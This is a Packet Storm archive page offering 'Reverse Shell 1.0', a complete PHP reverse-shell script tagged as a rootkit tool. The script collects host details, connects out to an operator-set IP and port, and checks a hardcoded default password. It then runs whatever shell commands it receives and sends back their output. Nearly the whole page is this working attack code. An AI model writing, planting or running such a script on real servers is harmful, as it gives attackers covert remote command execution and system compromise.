exploit the possibilities

Reverse Shell 1.0

Reverse Shell 1.0
Posted Oct 9, 2012
Authored by Ashfaq Ansari

This sample code is a reverse shell written in PHP with an authentication feature.

tags | tool, shell, php, rootkit
systems | unix
MD5 | d0005805094e03f6c226cce5895878b3

Reverse Shell 1.0

Change Mirror Download
<?php
###################################################
# Reverse Shell v1.0 #
# Authentication Feature #
# #
# Hacksys Team - Panthera #
# Author: Ashfaq Ansari #
# hacksysteam@hotmail.com #
# http://hacksys.vfreaks.com #
# Designed for Linux #
# Thanks to lionaneesh #
# lionaneesh@gmail.com #
###################################################

ini_set('max_execution_time' ,0);

$VERSION = "1.0";
$ip = "127.0.0.1"; #Change this
$port = 4444; #Change this
$password = base64_decode("aGFja3N5c3RlYW0="); #Default Password: hacksysteam (MD5)

$banner = ("
_ _ _ _____
| | | | | | / ____|
| |__| | __ _ ___| | _| (___ _ _ ___
| __ |/ _` |/ __| |/ /\___ \| | | / __|
| | | | (_| | (__| < ____) | |_| \__ \
|_| |_|\__,_|\___|_|\_\_____/ \__, |___/
_______ __/ |
|__ __| |___/
| | ___ __ _ _ __ ___
| |/ _ \/ _` | '_ ` _ \
| | __/ (_| | | | | | |
|_|\___|\__,_|_| |_| |_|

Reverse Shell in PHP
Author: Ashfaq Ansari
hacksysteam@hotmail.com
http://hacksys.vfreaks.com/\n\n");

$pwd = shell_exec("pwd");
$sysinfo = shell_exec("uname -a");
$id = shell_exec('id | cut -d "(" -f 2 | cut -d ")" -f 1' );
$date = shell_exec("date");
$len = 1337;
$info =
("
System Information:\n$sysinfo
Current Working Directory: $pwd
User Group: $id
Current Date and Time: $date\n
");

print "\nTrying to connect to: $ip on port $port ...\n\n";

$sockfd = fsockopen($ip , $port , $errno, $errstr );

if($errno != 0)
{
print "\n****** Error Occured ******\nError Nnumber: $errno\nError String: $errstr\n\n";
die(0);
}
else if (!$sockfd)
{
print "Fatal : An unexpected error was occured when trying to connect!\n";
}
else
{
print "Connected to: $ip on port $port ...\n\n";
fputs ($sockfd , $banner);
fputs($sockfd ,"Enter Password: ");
$getpass = trim(fgets($sockfd, strlen($password) + 2));

if ($getpass == $password)
{
fputs($sockfd, "\nAuthentication Successfull..\n");
fputs($sockfd, $info);
while(!feof($sockfd))
{
$cmdPrompt = trim($id) . "@" . trim($ip) . ":~" . trim($pwd) . "# ";
fputs ($sockfd , $cmdPrompt );
$command = trim(fgets($sockfd, $len));
if (trim($command) == "exit")
{
fputs($sockfd ,"\nAborted by user... Exiting..." );
fclose($sockfd);
die(0);
}
fputs($sockfd , "\n" . shell_exec($command) . "\n");
}
fclose($sockfd);
die(0);
}
else
{
fputs($sockfd ,"\nInvalid Password... Quitting...");
fclose($sockfd);
die(0);
}
}
?>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    16 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    27 Files
  • 17
    Jul 17th
    7 Files
  • 18
    Jul 18th
    5 Files
  • 19
    Jul 19th
    12 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close